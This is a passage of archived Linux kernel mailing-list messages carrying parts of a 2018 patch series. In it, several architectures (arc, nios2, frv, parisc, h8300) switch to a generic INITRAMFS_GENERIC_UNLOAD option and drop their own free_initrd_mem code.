List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3634 gmane.linux.ports.alpha:4844 gmane.linux.kernel:2724518 gmane.linux.ports.parisc:28378 gmane.linux.ports.ppc64.devel:154997 gmane.linux.ports.sh.devel:56701 gmane.linux.uml.devel:16675
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3634>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/arc/Kconfig   | 1 +
 arch/arc/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index d76bf4a83740..2844ce5b910c 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -44,6 +44,7 @@ config ARC
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_KERNEL_GZIP
 	select HAVE_KERNEL_LZMA
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MIGHT_HAVE_PCI
 	bool
diff --git a/arch/arc/mm/init.c b/arch/arc/mm/init.c
index ba145065c579..7bcf23ab1756 100644
--- a/arch/arc/mm/init.c
+++ b/arch/arc/mm/init.c
@@ -229,10 +229,3 @@ void __ref free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2

From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 11/16] nios2: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:53 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20180324174458.26423-12-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913450 15994 195.159.176.226 (24 Mar 2018 17:44:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:10 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:44:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznD2-00042Z-57
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:44:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752844AbeCXRqJ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:46:09 -0400
Original-Received: from smtprelay0241.hostedemail.com ([216.40.44.241]:41034 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752836AbeCXRqG (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:46:06 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay04.hostedemail.com (Postfix) with ESMTP id 19EA4180A68A0;
        Sat, 24 Mar 2018 17:46:05 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:2,LUA_SUMMARY:none
X-HE-Tag: team76_5211a9543e304
X-Filterd-Recvd-Size: 2051
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf08.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:46:03 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724519 gmane.linux.ports.alpha:4845 gmane.linux.kernel.arc:3635 gmane.linux.ports.parisc:28379 gmane.linux.ports.ppc64.devel:154998 gmane.linux.ports.sh.devel:56702 gmane.linux.uml.devel:16676
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724519>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/nios2/Kconfig   | 1 +
 arch/nios2/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 3d4ec88f1db1..d3b72d5c8967 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -19,6 +19,7 @@ config NIOS2
 	select SPARSE_IRQ
 	select USB_ARCH_HAS_HCD if USB_SUPPORT
 	select CPU_NO_EFFICIENT_FFS
+	select INITRAMFS_GENERIC_UNLOAD
 
 config GENERIC_CSUM
 	def_bool y
diff --git a/arch/nios2/mm/init.c b/arch/nios2/mm/init.c
index c92fe4234009..3df75ff8c768 100644
--- a/arch/nios2/mm/init.c
+++ b/arch/nios2/mm/init.c
@@ -82,13 +82,6 @@ void __init mmu_init(void)
 	flush_tlb_all();
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void __ref free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2



From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 06/16] frv: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:48 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <20180324174458.26423-7-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521913454 16429 195.159.176.226 (24 Mar 2018 17:44:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:14 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Mar 24 18:44:09 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eznD6-00046X-3X
	for gla-linux-snps-arc@m.gmane.org; Sat, 24 Mar 2018 18:44:08 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=WL9FPrfCAfMq9iq8dacDxlkYP0DuFLvLNdQKTzQbYBA=; b=a8Mo//0qzeGyiqCF6kCd8oYWoK
	7FqdkichvgVXEQFYv577DPHLBtpC3yqlSjpG164BWcI+YjnVjuASF96TA5QDKpjv7JVpglPKRAsDl
	DA8Me42x0ByyweOY5i4ncaBpmq1ZsWjt/Uu2m9V6ZEm4h9hPl+/GYB0YjqyUc9yn8eAzbtWl2++uG
	HHMS1mhaOiJS48aWhuEF4ZSE5+fTdjp48HP9xLUF7wUZa+kWCE6kNky5kaqSSravzjiGVeqSG36ic
	gJBJYv0mi8FV4IghO5kLsZhMfecW26YMd/otpP0nMQuK6Q9rai68PWm4Fv0UJkSxvMBhPFNjw57mu
	qyBArO6A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1eznF8-0004Xe-D3; Sat, 24 Mar 2018 17:46:14 +0000
Original-Received: from smtprelay0152.hostedemail.com ([216.40.44.152]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1eznF0-0004Kd-2A; Sat, 24 Mar 2018 17:46:07 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay05.hostedemail.com (Postfix) with ESMTP id DF4C918029583;
 Sat, 24 Mar 2018 17:45:54 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:69:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:4250:4321:4385:5007:6119:6261:6737:9592:10004:10848:11026:11473:11658:11914:12043:12048:12114:12296:12438:12533:12555:12683:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:20,
 LUA_SUMMARY:none
X-HE-Tag: north66_50a0277171a39
X-Filterd-Recvd-Size: 2168
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf09.hostedemail.com (Postfix) with ESMTPA;
 Sat, 24 Mar 2018 17:45:53 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180324_104606_288869_280EBE1C 
X-CRM114-Status: UNSURE (   6.03  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 2.5 (++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (2.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.152 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3636 gmane.linux.ports.alpha:4846 gmane.linux.kernel:2724520 gmane.linux.ports.parisc:28380 gmane.linux.ports.ppc64.devel:154999 gmane.linux.ports.sh.devel:56703 gmane.linux.uml.devel:16677
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3636>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/frv/Kconfig   |  1 +
 arch/frv/mm/init.c | 11 -----------
 2 files changed, 1 insertion(+), 11 deletions(-)

diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
index af369b05fed5..5c104b800cb1 100644
--- a/arch/frv/Kconfig
+++ b/arch/frv/Kconfig
@@ -17,6 +17,7 @@ config FRV
 	select OLD_SIGACTION
 	select HAVE_DEBUG_STACKOVERFLOW
 	select ARCH_NO_COHERENT_DMA_MMAP
+	select INITRAMFS_GENERIC_UNLOAD
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/frv/mm/init.c b/arch/frv/mm/init.c
index cf464100e838..345edc4dc462 100644
--- a/arch/frv/mm/init.c
+++ b/arch/frv/mm/init.c
@@ -131,14 +131,3 @@ void free_initmem(void)
 	free_initmem_default(-1);
 #endif
 } /* end free_initmem() */
-
-/*****************************************************************************/
-/*
- * free the initial ramdisk memory
- */
-#ifdef CONFIG_BLK_DEV_INITRD
-void __init free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-} /* end free_initrd_mem() */
-#endif
-- 
2.16.2

From - Thu Nov 08 21:41:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 13/16] parisc: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:55 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20180324174458.26423-14-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1521913455 16470 195.159.176.226 (24 Mar 2018 17:44:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:15 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Mar 24 18:44:09 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eznD7-00047z-G3
	for glk-linux-kernel-4@m.gmane.org; Sat, 24 Mar 2018 18:44:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752866AbeCXRqN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 24 Mar 2018 13:46:13 -0400
Original-Received: from smtprelay0015.hostedemail.com ([216.40.44.15]:36366 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752850AbeCXRqK (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 24 Mar 2018 13:46:10 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay02.hostedemail.com (Postfix) with ESMTP id 6AF3C52B8;
        Sat, 24 Mar 2018 17:46:09 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3865:3868:3871:4250:4321:4385:5007:6261:6737:7903:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054:30055,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:1,LUA_SUMMARY:none
X-HE-Tag: fact72_52bdb4204b15e
X-Filterd-Recvd-Size: 2051
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf04.hostedemail.com (Postfix) with ESMTPA;
        Sat, 24 Mar 2018 17:46:08 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724521 gmane.linux.ports.alpha:4847 gmane.linux.kernel.arc:3637 gmane.linux.ports.parisc:28381 gmane.linux.ports.ppc64.devel:155000 gmane.linux.ports.sh.devel:56704 gmane.linux.uml.devel:16678
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724521>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/parisc/Kconfig   | 1 +
 arch/parisc/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 9792d8cf4f56..7410c2094987 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -51,6 +51,7 @@ config PARISC
 	select GENERIC_CLOCKEVENTS
 	select ARCH_NO_COHERENT_DMA_MMAP
 	select CPU_NO_EFFICIENT_FFS
+	select INITRAMFS_GENERIC_UNLOAD
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..3643399230f3 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -932,10 +932,3 @@ void flush_tlb_all(void)
 	spin_unlock(&sid_lock);
 }
 #endif
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH 07/16] h8300: Use INITRAMFS_GENERIC_UNLOAD
Date: Sat, 24 Mar 2018 13:44:49 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20180324174458.26423-8-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521913456 16581 195.159.176.226 (24 Mar 2018 17:44:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 24 Mar 2018 17:44:16 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
 linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@lists.linux-m68k.org,
 nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
 linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
 linux-riscv@lists.infradead.org, linux-sh@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Mar 24 18:44:11 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1eznD8-00049k-Hm
	for gla-linux-snps-arc@m.gmane.org; Sat, 24 Mar 2018 18:44:10 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=HU94vqGEqMuG5Fs6zcnSV/pJBddzdvkTV/H3Twfn+wQ=; b=DZSNYusNQLpRINa5Z6S2NfKCwZ
	CeOahY4eUVE6DQXyyKuJ/9kUMTVb8FkhA3pR9m+AAP4hZuz7lPvaIJIcl6zSygNGQf1KbsPvNeTSO
	40TdcLon213bgxh0LzKKDYQ3V1T20zJBoODGoMb59/GZAbgajhY9ZeTBwhptOWc2bEorI7SAVPUcX
	BQhKQKrr5rKL6xc7YPzzc4E0NJbRVaHDlXBu4JlYLXzt7V26foJ4QiZZBajLOfFs7CZ4dw+FxvqPP
	AfnTQkLYKMT1LIgoOwKU9kIMTh11YzcTjk+l4Tkvy3KVLa8FfJfPYGyX2FWyYv8nWXabxNoBGcy+E
	4L7ASjUg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1eznFA-0004Zz-Oe; Sat, 24 Mar 2018 17:46:17 +0000
Original-Received: from smtprelay0107.hostedemail.com ([216.40.44.107]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1eznF2-0004M5-PH; Sat, 24 Mar 2018 17:46:11 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay01.hostedemail.com (Postfix) with ESMTP id 7D841100E806B;
 Sat, 24 Mar 2018 17:45:56 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2, 0, 0, , d41d8cd98f00b204, , :::::::::::::::::::::::::::,
 RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21611:21627,
 0,
 RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,
 CacheIP:none, Bayesian:0.5, 0.5, 0.5, Netcheck:none, DomainCache:0,
 MSF:not bulk, SPF:ff, MSBL:0, DNSBL:neutral, Custom_rules:0:0:0, LFtime:19,
 LUA_SUMMARY:none
X-HE-Tag: pail17_50daf29b77b5c
X-Filterd-Recvd-Size: 1984
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf11.hostedemail.com (Postfix) with ESMTPA;
 Sat, 24 Mar 2018 17:45:55 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180324174458.26423-1-shea@shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180324_104609_163635_86B06A1C 
X-CRM114-Status: UNSURE (   5.51  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 2.5 (++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (2.5 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.107 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.5 SUSPICIOUS_RECIPS      Similar addresses in recipient list
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3638 gmane.linux.ports.alpha:4848 gmane.linux.kernel:2724522 gmane.linux.ports.parisc:28382 gmane.linux.ports.ppc64.devel:155001 gmane.linux.ports.sh.devel:56705 gmane.linux.uml.devel:16679
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3638>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/h8300/Kconfig   | 1 +
 arch/h8300/mm/init.c | 7 -------
